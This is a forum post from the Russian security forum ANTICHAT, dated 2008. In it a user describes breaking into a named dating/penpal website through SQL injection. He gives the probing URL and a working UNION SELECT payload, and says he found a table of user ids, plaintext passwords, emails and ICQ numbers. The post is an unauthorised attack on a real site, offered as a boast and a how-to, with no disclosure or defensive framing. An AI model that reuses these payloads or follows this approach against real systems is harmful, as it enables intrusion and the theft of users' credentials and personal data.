HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 01.10.2008, 02:45
1337haxx0r
Новичок
Регистрация: 16.09.2008
Сообщений: 8
С нами: 9289352

Репутация: 25
По умолчанию

Всем привА.
Я тут решил запостится.
вообщем так.

вот сайтеГ нашёл
Код:
http://www.penpal.ru
решил же глянуть, чё там и к чему =)

Как всегда, стандартная проверка
Код:
http://www.penpal.ru/cgi-bin/person.pl?id=-1175185312'
Узнаем что имееЦЦо 28 полей, и одно принтабельное - 21
Код:
http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
Версия скулИ 5-я
(пальцем в небо) ибо даже через http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+and+substring(@@version,1, 1)=5 не признавалось, или это Я =)))))


короче полазил, полазил...нашёл таблицу person
а в ней поля
id - идентификаторы
passw - пароли в чистом виде
email - мылы
icq - аси(есть не у всех)

похакал.....и дальше пошёл
Одминку не нашёл =(

-----
P.S
Странно было, когда я ввёл в это принтабельное поле запрос version()....оно не выдало мне версию, а выдало что такой таблицы нету.

Последний раз редактировалось 1337haxx0r; 01.10.2008 в 02:47..
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 7 (пользователей: 0 , гостей: 7)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.